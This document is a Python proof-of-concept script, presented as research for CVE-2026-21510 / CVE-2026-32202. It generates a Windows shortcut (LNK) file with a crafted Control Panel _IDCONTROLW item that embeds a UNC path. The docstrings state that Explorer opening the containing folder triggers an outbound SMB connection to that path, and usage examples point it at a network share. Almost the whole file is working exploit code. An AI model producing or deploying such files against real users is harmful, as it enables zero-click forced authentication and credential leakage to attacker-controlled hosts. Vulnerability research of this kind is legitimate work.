"""
Generate a test LNK file containing a _IDCONTROLW structure (UNC path).
Research purposes: reproducing the LinkTargetIDList structure
as described in CVE-2026-21510 / CVE-2026-32202 (Akamai research).

_IDCONTROLW layout (reconstructed from shell32.dll via IDA Pro):
  +0x00 WORD  cb         — total size of the structure including cb itself
  +0x02 WORD  pad1       — padding (0)
  +0x04 DWORD dwAppletID — applet ID (negative for registered CPL, e.g. -201)
  +0x08 WORD  pad2       — 0  (validated by _IsUnicodeCPLWorker)
  +0x0A WORD  pad3       — 0  (validated by _IsUnicodeCPLWorker)
  +0x0C BYTE  pad4       — 0  (validated by _IsUnicodeCPLWorker)
  +0x0D BYTE  typeFlag   — 0x6A (Unicode CPL marker)
  +0x0E WORD  pad5       — 0
  +0x10 DWORD pad6       — 0
  +0x14 WORD  cchModule  — length of ModulePath in WCHARs (including null terminator)
  +0x16 WORD  offName    — offset of Name from start of data[] in WCHARs
  +0x18 WCHAR data[]     — ModulePath\\0Name\\0InfoTip (UTF-16LE)

Usage:
  python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl
  python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl --out poc.lnk
  python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl --applet-id -201 --name "My CPL"
  python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl --no-dump
"""

import struct
import uuid
import argparse
from pathlib import Path


# ── IDList[0]: Control Panel root CLSID ──────────────────────────────────────

def make_idlist_clsid(clsid_str: str) -> bytes:
    """
    Build an ItemID for a CLSID shell item (type 0x1F = root shell item).

    clsid_str: CLSID string, e.g. '26EE0668-A00A-44D7-9371-BEB064C98683'
    """
    clsid_bytes = uuid.UUID(clsid_str).bytes_le
    data = struct.pack('<B', 0x1F) + b'\x50' + clsid_bytes  # type + flags + CLSID (18 bytes)
    cb = len(data) + 2  # +2 for the cb field itself
    return struct.pack('<H', cb) + data


# ── IDList[1]: "All Control Panel Items" (category 0) ────────────────────────

def make_idlist_all_cpanel() -> bytes:
    """
    Build the ItemID for "All Control Panel Items" (category index 0).

    Reconstructed from CControlPanelCategoryFolder::CreateIDList:
      *(_WORD*)v5       = 12           // cb
      *((_WORD*)v5 + 1) = 1            // flags
      v5[1]             = 0x39DE2184   // magic identifier
      v5[2]             = 0            // category index
    """
    return struct.pack('<HHII',
        12,           # cb = 0x0C (total size)
        1,            # flags = 0x0001
        0x39DE2184,   # magic — identifies CControlPanelCategoryFolder item
        0,            # category index 0 = "All Control Panel Items"
    )


# ── IDList[2]: _IDCONTROLW ────────────────────────────────────────────────────

def make_idcontrolw(module_path: str,
                    name: str      = "Research CPL",
                    infotip: str   = "",
                    applet_id: int = -201) -> bytes:
    """
    Build a _IDCONTROLW structure.

    Args:
        module_path : path to the CPL module (UNC or local)
        name        : display name of the applet
        infotip     : tooltip string (may be empty)
        applet_id   : signed applet ID; negative for registered CPLs (default: -201 = 0xFFFFFF37)

    Returns:
        Raw bytes of the _IDCONTROLW structure (cb WORD is at offset 0).
    """
    # Encode strings as UTF-16LE with null terminator
    mod_enc  = (module_path + '\x00').encode('utf-16-le')
    name_enc = (name        + '\x00').encode('utf-16-le')
    tip_enc  = (infotip     + '\x00').encode('utf-16-le') if infotip else b'\x00\x00'

    # cchModule: length of ModulePath in WCHARs including null terminator
    cch_module = len(module_path) + 1
    # offName: offset of Name from data[0] in WCHARs (Name immediately follows ModulePath)
    off_name   = cch_module

    data_blob  = mod_enc + name_enc + tip_enc
    total_size = 0x18 + len(data_blob)  # 0x18 = fixed header size

    buf = bytearray(total_size)

    struct.pack_into('<H', buf, 0x00, total_size)   # +0x00 WORD  cb
    struct.pack_into('<H', buf, 0x02, 0x0000)        # +0x02 WORD  pad1
    struct.pack_into('<i', buf, 0x04, applet_id)     # +0x04 DWORD dwAppletID (signed)
    struct.pack_into('<H', buf, 0x08, 0x0000)        # +0x08 WORD  pad2
    struct.pack_into('<H', buf, 0x0A, 0x0000)        # +0x0A WORD  pad3
    buf[0x0C] = 0x00                                 # +0x0C BYTE  pad4
    buf[0x0D] = 0x6A                                 # +0x0D BYTE  typeFlag = Unicode CPL marker
    struct.pack_into('<H', buf, 0x0E, 0x0000)        # +0x0E WORD  pad5
    struct.pack_into('<I', buf, 0x10, 0x00000000)    # +0x10 DWORD pad6
    struct.pack_into('<H', buf, 0x14, cch_module)    # +0x14 WORD  cchModule
    struct.pack_into('<H', buf, 0x16, off_name)      # +0x16 WORD  offName
    buf[0x18:0x18 + len(data_blob)] = data_blob      # +0x18 WCHAR data[]

    return bytes(buf)


# ── IDList assembly ───────────────────────────────────────────────────────────

def make_idlist(items: list[bytes]) -> bytes:
    """Concatenate ItemID entries and append the 2-byte null terminator."""
    return b''.join(items) + b'\x00\x00'


# ── Shell Link Header (MS-SHLLINK §2.1) ──────────────────────────────────────

def make_shell_link_header() -> bytes:
    """
    Build a minimal 76-byte ShellLinkHeader.

    LinkFlags:
      bit 0 = HasLinkTargetIDList
      bit 6 = IsUnicode
    """
    HEADER_SIZE     = 0x4C
    LINK_CLSID      = bytes.fromhex('0114020000000000C000000000000046')
    LINK_FLAGS      = struct.pack('<I', 0x00000041)  # HasLinkTargetIDList | IsUnicode
    FILE_ATTRIBUTES = struct.pack('<I', 0x00000020)  # FILE_ATTRIBUTE_ARCHIVE
    TIMESTAMPS      = b'\x00' * 24                  # CreationTime, WriteTime, AccessTime
    FILE_SIZE       = struct.pack('<I', 0)
    ICON_INDEX      = struct.pack('<i', 0)
    SHOW_COMMAND    = struct.pack('<I', 1)           # SW_SHOWNORMAL
    HOT_KEY         = struct.pack('<H', 0)
    RESERVED        = b'\x00' * 10

    header = (
        struct.pack('<I', HEADER_SIZE) +
        LINK_CLSID      +
        LINK_FLAGS      +
        FILE_ATTRIBUTES +
        TIMESTAMPS      +
        FILE_SIZE       +
        ICON_INDEX      +
        SHOW_COMMAND    +
        HOT_KEY         +
        RESERVED
    )
    assert len(header) == HEADER_SIZE, f"Header size mismatch: {len(header)}"
    return header


# ── LNK assembly ─────────────────────────────────────────────────────────────

def build_lnk(unc_path: str,
              output_path: str,
              name: str      = "Research CPL",
              infotip: str   = "CVE-2026-21510 research",
              applet_id: int = -201,
              dump: bool     = True) -> None:
    """
    Assemble a complete LNK file with the following IDList layout:

      IDList[0] — Control Panel root CLSID {26EE0668-A00A-44D7-9371-BEB064C98683}
      IDList[1] — CControlPanelCategoryFolder item (category 0 = All Control Panel Items)
      IDList[2] — _IDCONTROLW with embedded UNC/local CPL path

    When Explorer navigates to a folder containing this LNK, it calls
    CControlPanelFolder::GetUIObjectOf to extract an icon, which calls
    GetModuleMapped -> PathFileExistsW(<module_path>), triggering an
    outbound SMB connection if module_path is a UNC path (CVE-2026-32202).
    """
    item0 = make_idlist_clsid('26EE0668-A00A-44D7-9371-BEB064C98683')
    item1 = make_idlist_all_cpanel()
    item2 = make_idcontrolw(
        module_path = unc_path,
        name        = name,
        infotip     = infotip,
        applet_id   = applet_id,
    )

    idlist_data        = make_idlist([item0, item1, item2])
    idlist_size        = len(idlist_data)
    link_target_idlist = struct.pack('<H', idlist_size) + idlist_data
    lnk_data           = make_shell_link_header() + link_target_idlist

    Path(output_path).write_bytes(lnk_data)

    # ── Summary ───────────────────────────────────────────────────────────────
    print(f"[+] LNK file created  : {output_path}")
    print(f"    Total size        : {len(lnk_data)} bytes")
    print(f"    IDList size       : {idlist_size} bytes")
    print(f"    Module path       : {unc_path}")
    print(f"    Applet ID         : {applet_id} (0x{applet_id & 0xFFFFFFFF:08X})")
    print()
    print("_IDCONTROLW field layout:")
    print(f"  +0x00  cb         = 0x{len(item2):04X}  ({len(item2)} bytes)")
    print(f"  +0x04  dwAppletID = 0x{applet_id & 0xFFFFFFFF:08X}  ({applet_id})")
    print(f"  +0x0D  typeFlag   = 0x6A")
    print(f"  +0x14  cchModule  = {len(unc_path) + 1}")
    print(f"  +0x16  offName    = {len(unc_path) + 1}")
    print(f"  +0x18  data[]     = {unc_path!r}  (UTF-16LE)")

    if dump:
        print()
        print("_IDCONTROLW hex dump:")
        for i in range(0, len(item2), 16):
            chunk    = item2[i:i + 16]
            hex_part = ' '.join(f'{b:02X}' for b in chunk)
            asc_part = ''.join(chr(b) if 0x20 <= b < 0x7F else '.' for b in chunk)
            print(f"  {i:04X}:  {hex_part:<48}  {asc_part}")


# ── CLI ───────────────────────────────────────────────────────────────────────

def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description=(
            "Generate a test LNK file with an _IDCONTROLW structure.\n"
            "Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis."
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Examples:\n"
            r"  python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl" "\n"
            r"  python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk" "\n"
            r"  python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump"
        ),
    )
    parser.add_argument(
        '--unc', '-u',
        required=True,
        metavar='PATH',
        help='UNC or local path to embed in _IDCONTROLW (e.g. \\\\192.168.1.31\\share\\test.cpl)',
    )
    parser.add_argument(
        '--out', '-o',
        default='test_idcontrolw.lnk',
        metavar='FILE',
        help='Output LNK filename (default: test_idcontrolw.lnk)',
    )
    parser.add_argument(
        '--applet-id', '-a',
        type=int,
        default=-201,
        metavar='INT',
        help='Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)',
    )
    parser.add_argument(
        '--name', '-n',
        default='Research CPL',
        metavar='STR',
        help='Display name of the CPL applet (default: "Research CPL")',
    )
    parser.add_argument(
        '--infotip', '-i',
        default='CVE-2026-21510 research',
        metavar='STR',
        help='Tooltip string (default: "CVE-2026-21510 research")',
    )
    parser.add_argument(
        '--no-dump',
        action='store_true',
        help='Suppress the hex dump of _IDCONTROLW',
    )
    return parser.parse_args()


if __name__ == '__main__':
    args = parse_args()
    build_lnk(
        unc_path    = args.unc,
        output_path = args.out,
        name        = args.name,
        infotip     = args.infotip,
        applet_id   = args.applet_id,
        dump        = not args.no_dump,
    )